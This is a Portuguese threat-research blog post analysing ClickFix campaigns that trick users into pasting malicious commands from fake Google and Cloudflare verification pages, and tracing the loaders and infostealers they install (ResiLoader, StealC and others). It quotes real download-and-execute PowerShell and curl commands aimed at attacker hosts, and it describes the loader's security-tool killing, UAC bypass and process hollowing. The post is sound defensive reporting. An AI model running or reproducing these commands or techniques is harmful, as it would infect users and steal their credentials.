Os ataques «ClickFix», que levam as pessoas a executar elas próprias comandos maliciosos, continuam a evoluir. Esta última campanha utiliza páginas de verificação falsas do Google e da Cloudflare para convencer as vítimas a infetarem os seus próprios dispositivos.
Um único erro pode instalar malware que rouba palavras-passe e outros dados confidenciais, concede aos atacantes acesso remoto ao seu computador ou descarrega malware adicional capaz de assumir o controlo total do seu sistema.
Descobrimos várias campanhas que utilizavam a mesma infraestrutura para distribuir malware, incluindo o HijackLoader, o StealC, o Remus, o Amatera Stealer, o CastleLoader, o NetSupport e um stealer baseado em Rust.
Numa cadeia de infeção, uma versão trojanizada da aplicação legítima de mensagens Franz descarrega um carregador até então não documentado, denominado ResiLoader, que desativa o software de segurança antes de implementar o infostealer StealC.
Antes de abordarmos os pormenores técnicos, eis como evitar tornar-se a próxima vítima.
Como se manter seguro
Os ataques ClickFix baseiam-se em convencer-te a executar comandos por ti próprio. A abordagem mais segura é simples:
- Nunca copie nem execute comandos de um site, a menos que esteja a seguir instruções de uma fonte fiável e compreenda exatamente o que o comando faz.
- Tenha cuidado com as páginas de verificação. O Google, a Cloudflare, a Microsoft e outros serviços legítimos nunca lhe pedirão para colar comandos do PowerShell no Windows provar que é humano ou para resolver um problema.
- Não deixes que a urgência te apresse. As páginas de verificação falsas costumam utilizar contadores de tempo, contadores de visitantes ou avisos para te pressionar a agir rapidamente.
- Mantenha o seu software de segurança atualizado. A proteção em tempo real e a proteção na Web podem ajudar a bloquear sites maliciosos antes de aceder a eles.
- Desconfie de instruções técnicas inesperadas. Se um site lhe pedir para abrir o PowerShell, o Prompt de Comandos ou o Terminal, pare e verifique as instruções através dos canais oficiais de apoio da empresa.
Dica profissional: Malwarebytes Browser Guard pode avisá-lo quando um site tentar copiar conteúdo para a sua área de transferência — um truque comum utilizado pelas páginas do ClickFix.
Análise técnica
As campanhas analisadas nesta investigação estão ativas, pelo menos, desde o final de 2025 e utilizam uma variedade de páginas falsas do Google e da Cloudflare para distribuir malware. Embora os iscos sejam diferentes, partilham grande parte da mesma infraestrutura e cadeia de infeção, com os atacantes a testarem continuamente novos métodos de distribuição e cargas maliciosas.
Iscas diferentes, um único objetivo
A maioria das campanhas partilha várias características:
- Utilização da pasta
C:\ProgramData\Zoomspara extrair as fases posteriores - Comandos do PowerShell ClickFix que seguem padrões semelhantes
- Utilização de buckets do Cloudflare R2 para distribuir conteúdos
- Endereços IP alojados pela ASN Dedik Services Limited
- Respostas HTML que contenham apenas a frase
"hehe"
Estes indicadores têm vindo a mudar ao longo do tempo, pelo que não aparecem em todas as cadeias de infeção. As campanhas continuam a evoluir, com a introdução regular de novas cargas maliciosas e métodos de distribuição. Por exemplo, em alguns casos, o endereço IP é utilizado diretamente para a distribuição da carga maliciosa, em vez de se recorrer a «buckets».
O comando final copiado pelo utilizador segue normalmente este padrão:
powershell -c “iex(irm ‘{IP}:{Port}/{Random Path}’ -UseBasicParsing)”
A porta e o caminho nem sempre estão presentes nos casos analisados; as portas são aleatórias, mas algumas das que são utilizadas são: 6600, 9900, 5506, 7895, 7493, 149, 8442.
Para executar estes comandos, são utilizados vários modelos relacionados com o ClickFix, principalmente ligados ao Google e ao Cloudflare. Detetámos também que, em alguns casos, o comando do PowerShell foi distribuído através da estrutura IClickFix.
Observámos que estas campanhas do ClickFix estavam a ser divulgadas através de:
- Sites antigos que provavelmente expiraram e foram readquiridos pelo(s) autor(es).
- CloudFlare Pages (
.pages.devdomínios). - Sites comprometidos.
- Serviços falsos, por exemplo, relacionados com códigos QR ou acesso a ficheiros na Web.
O Google ClickFix atrai
Os responsáveis por estas campanhas utilizam várias páginas HTML e kits relacionados com o Google.
Uma isca simula a verificação do Google reCAPTCHA. As páginas estão alojadas em URLs aleatórias que apresentam conteúdo falso ou malicioso. Estes domínios são, muitas vezes, registos mais antigos que recentemente passaram a apontar para novos endereços IP, o que sugere que foram reaproveitados para a campanha.
Algumas destas páginas têm parâmetros de URL como «zoneid», «cost», «device», «country» e «clickid», por exemplo:
/conf/captcha.html?zoneid=10420852/wincapbot/nobot.html/xmr/trkuste.php?zone=5327134bless.php?zoneid=10327549&clickid=1091581084925173761&cost=0.000000&country=US&device=desktop


Neste caso, as funções relacionadas com o ClickFix estão implementadas na classe CustomCaptcha. O comando está presente em texto simples, sem qualquer ofuscação.

Outro método de distribuição utiliza o Cloudflare Pages alojado em .pages.dev subdomínios.

Neste caso, a página HTML é ofuscada através da declaração de várias variáveis e da aplicação de uma operação XOR às mesmas. O código desofuscado chama-se SECURITY GATEWAY e é composto pelas funções GatewayRuntime, RemoteVault, BeaconDispatcher, Clipboard, TokenController, e PanelController.
O código permite que os atacantes recuperem o comando, quer remotamente, quer localmente. Neste exemplo, o comando malicioso do PowerShell está armazenado localmente.

Descobrimos também que alguns destes domínios já tinham distribuído outro isco no passado, neste caso associado a um início de sessão não autorizado no Google. Este isco do ClickFix pede ao utilizador que copie e cole o comando malicioso para definir o seu dispositivo como principal.

O que é interessante neste kit ClickFix é que inclui um «portão de aprovação», tal como descrito nos comentários, e que o atacante tem de selecionar manualmente, a partir do painel, qual o comando que pretende que o utilizador execute.


Em campanhas mais recentes, detetámos um isco do ClickFix relacionado com o Google Meet, que exige a cópia e colagem de um comando malicioso para resolver problemas de áudio.

Nos casos analisados, o desfecho /api/driver-clipboard.php devolveu o seguinte comando malicioso:
{"mac":"curl -kfsSL $(echo '…'|base64 -D)|zsh","windows":"powershell -c \"iex(irm '151.240.151.126/rRlmZcaaZfAE3U2BaH' -UseBasicParsing)\""}
Outras iscas
Os responsáveis por esta campanha utilizam vários kits e iscos, na sua maioria relacionados com o Google. No entanto, detetámos outros iscos que copiavam comandos relacionados com a mesma infraestrutura.
Os autores destes ataques também comprometem vários sítios Web utilizando diferentes modelos relacionados com o engodo «CloudFlare ClickFix ».


Detetámos vários modelos utilizados nas páginas do CloudFlare. O comando está presente de forma visível ou, em alguns casos, ofuscado nos casos analisados.



Detetámos também alguns sites de serviços falsos criados especificamente para o efeito. Por exemplo, um site chamado «My QR Generator» apresenta um código QR ofuscado e pede ao utilizador que execute um comando do PowerShell para verificar que não é um robô.

Neste caso, o comando está codificado em base-64:

Programa de download do PowerShell
O comando ClickFix executado pelo utilizador descodifica um script e guarda-o na pasta Temp com o nome tmp{4 char}.tmp.ps1.
Detetámos várias variações deste script, mas as versões mais recentes fazem o seguinte:
- Criar a pasta
C:\ProgramData\Zooms. - Descarregue a próxima etapa de um bucket do CloudFlare e guarde-a em
C:\ProgramData\Zooms. Em algumas variantes do script, a fase seguinte é descarregada diretamente a partir de um endereço IP. - Envie as informações relativas ao computador comprometido para
http://{IP}/dl-callback. Em algumas variantes do guião, esta parte não está presente.

Os atacantes responsáveis por estas campanhas utilizam um grande número de cargas úteis diferentes. As campanhas distribuem uma grande variedade de cargas úteis. A tabela abaixo resume alguns dos nomes dos ficheiros descarregados e o malware que estes instalam. Em muitos dos casos analisados, a carga útil final foi distribuída através do «DLL Hijacking», como também veremos mais adiante no caso do StealC.
| Ficheiro distribuído | Malware distribuído |
libEGL.zip, Safe-1.zip | Aplicação Electron com código malicioso, ResiLoader e StealC |
Test.msi | Deno Loader e PowerShell Stealer |
arworks.zip | Amatera Stealer |
water-night.zip | Remus Stealer |
Setup.msi, Invintrum_first.msi | NetSupport |
traffic1.msi | CastleLoader |
ibrowser.exe | Ladrão de Ferrugem |
Analisámos um novo carregador denominado ResiLoader, que acaba por distribuir o StealC. Detetámos também que o autor da ameaça, nas campanhas mais recentes, começou a utilizar o Deno para distribuir, na fase final, um programa de roubo de dados desenvolvido em PowerShell; a análise desta cadeia de infeção poderá ser tema de um futuro artigo no blogue.
A aplicação Electron, que contém um trojan, descarrega o ResiLoader
Neste caso, o ficheiro ZIP foi descarregado a partir de:
pub-7080e0c20a0e47ca95a476869c532367.r2[.]dev/libEGL.zip
Após a extração para:
C:\ProgramData\Zooms\libEGL.zip_ext
O ficheiro zip contém uma versão com um trojan da aplicação de mensagens de código aberto chamada «Franz»:

O código malicioso está implementado no index.js ficheiro:

O programa de transferência realiza as seguintes operações:
- Decodifique as cadeias de caracteres com a função
HC(). - Leituras
readme.txt, espera uma chave de campanha com o seguinte formatoAAAA-BBBB, devolve-o como um conjunto de tokens. Neste caso, o nome éresiloader-1e, por isso, chamamos à DLL descarregada «ResiLoader». - Leituras
%APPDATA%\setup.txt; se não existir, gera uma cadeia de caracteres aleatória com 8 caracteres e guarda-a. - Obter persistência utilizando
app.setLoginItemSettings. - Envia um pedido POST para
https[:]//completstep[.]com/api/e elaborar a resposta JSON- Se
task.ese estiver presente, executa-seeval(task.e); permite ao atacante executar código JavaScript arbitrário. - Se
task.filesse estiver presente, criar%TEMP%\<Date.now()>\, descodificar e gravar cada ficheiro; se algum nome de ficheiro terminar em.exe, execute-o através dechild_process.exec.
- Se
No nosso caso, recebemos um ficheiro ZIP que efetua o «hijacking» da DLL de ssh-add.exe:
{"task":{"name":"JUNE18USY","files":{
"msys-2.0.dll":"<base64>",
"msys-crypto-3.dll":"<base64>",
"msys-gcc_s-seh-1.dll":"<base64>",
"ssh-add.exe":"<base64>" }}}
Posteriormente, o ficheiro executável foi executado com:
C:\WINDOWS\system32\cmd.exe /d /s /c ""C:\Users\{user}\AppData\Local\Temp\1782122017599\ssh-add.exe""
ResiLoader
O msys-crypto-3.dll é um código ofuscado .NET NativeAOT loader que implementa a evasão de AV/EDR utilizando uma técnica BYOD, obtém persistência e, por fim, carrega o programa de roubo de dados StealC. Não encontrámos uma atribuição específica para este carregador e, por isso, denominámo-lo «ResiLoader», com base na cadeia de caracteres presente em versões anteriores readme.txt.
O carregador contém várias cadeias de caracteres, algumas em texto simples e outras encriptadas. Após desencriptar as cadeias de caracteres, é possível obter uma visão completa da funcionalidade do ResiLoader.
MANPO: ReadModule len=...
MANPO: magicOffset=...
…
PERS: FAIL all file copies failed, skipping run key
PERS: FAIL both HKLM and HKCU Run key writes failed
…
RUNPE: CreateProcess failed
RUNPE: PEB patched
RUNPE: VirtualAllocEx failed
…
POST: RunForever exited (unexpected)
POST: entering RunForever
POST: hollow=
O carregador realiza as seguintes operações:
- Extrair o blob codificado que contém duas cargas úteis, lendo o marcador
AtLorenBasee o comprimento do blob codificado. Em seguida, descodifica o blob e descodifica o controladorpcdhost.sys(OPSWAT
(AppRemover Driver) e a carga útil StealC, utilizando um algoritmo de descodificação personalizado. - Encerre mais de 140 processos relacionados com o EDR/AV utilizando o controlador desativado.
- Contornar o UAC através de
ICMLuaUtilInterface COM avançada. - Criar uma pasta
C:\ProgramData\Google Update, copiando-se a si próprio; adicionando persistência através da chave de registo RUN cmd /c start "" /D "C:\ProgramData\Google Update" ssh-add.exe
Por fim, o carregador realiza o esvaziamento do processo ServiceModelReg.exe para executar o StealC.
COIs
Hash
72907d0ca3258365838626f6a8d993a6: DLL do ResiLoader
0234E3188F2883A438B3F2BEAB7A78B2: StealC
6a9ac6b3fff7b695dbd4df6ff7f6c516: Remus
206ce339febca0c3bcc850f42595fc63: Amatera Stealer
eee416efcb1e33f220cdb4b05496a07a: NetSupport RAT
b8d53740024d126cb55f83854335a4ab: Rust Stealer
Domínios
Distribuir as páginas do ClickFix:
onegeekworld[.]com
thefirmos[.]com
antibotv3[.]com
centralwildcats[.]com
cloud.antibotv3[.]com
cloudautosolutions[.]com
sunseekersupply[.]com
123clocks[.]com
orcanegames[.]com
rwmonitoring[.]com
100furniture[.]com
nepalcharchaa[.]com
p-floribunds.pages[.]dev
pg-altirade2.pages[.]dev
pg-cordivant-m6.pages[.]dev
g-luminence.pages[.]dev
generator-qrcode[.]online
regdev-google[.]com
khosla[.]capital
eorgke09054909j[.]com
dropboxi[.]com
Buckets da CloudFlare utilizados para a distribuição da carga útil:
pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev
pub-620528e2dc874e16937673265aa23d39.r2[.]dev
pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev
pub-9682d5896df841679c5a17eb41273f89.r2[.]dev
pub-18d99d0d18b94e85824c1cc4d5b5c637.r2[.]dev
pub-0170eabb9df346bd822f863b7c3946e3.r2[.]dev
pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev
unitedstateverif[.]com: distribuição da carga útil
bigflaredefence[.]com: distribuição da carga útil
popularcard[.]shop: Rust Stealer C2
xzz[.]proxygrid[.]cc: Amatera Stealer C2
completstep[.]com: Carregador C2
eventlogerps1[.]ink: Deno Loader
be231ro963[.]com: Deno Loader
IPs
Endereço IP utilizado para a distribuição da carga útil:
151.240.151[.]126
85.239.149[.]16
85.239.149[.]40
93.152.224[.]29
151.240.151[.]46
93.152.224[.]167
85.239.149[.]78
192.69.195[.]131
135.181.171[.]40
94.26.83[.]206
91.92.34[.]128
85.239.144[.]31
93.152.224[.]39
94.26.90[.]112
146.19.248[.]120: StealC C2
Agradecimentos
- Domínio relacionado comunicado: https://x.com/stop_spammerz/status/2070152741037477960
- Domínio relacionado comunicado: https://x.com/Yuki27183/status/2047354005605777850
- Caso de infeção de um utilizador relatado no Reddit: https://www.reddit.com/r/antivirus/comments/1stn24v/best_thing_to_do_after_getting_malware/
- Possível cadeia de infeção relacionada https://github.com/MessyToilet/csgo-scam-via-powershell-5-31-2026




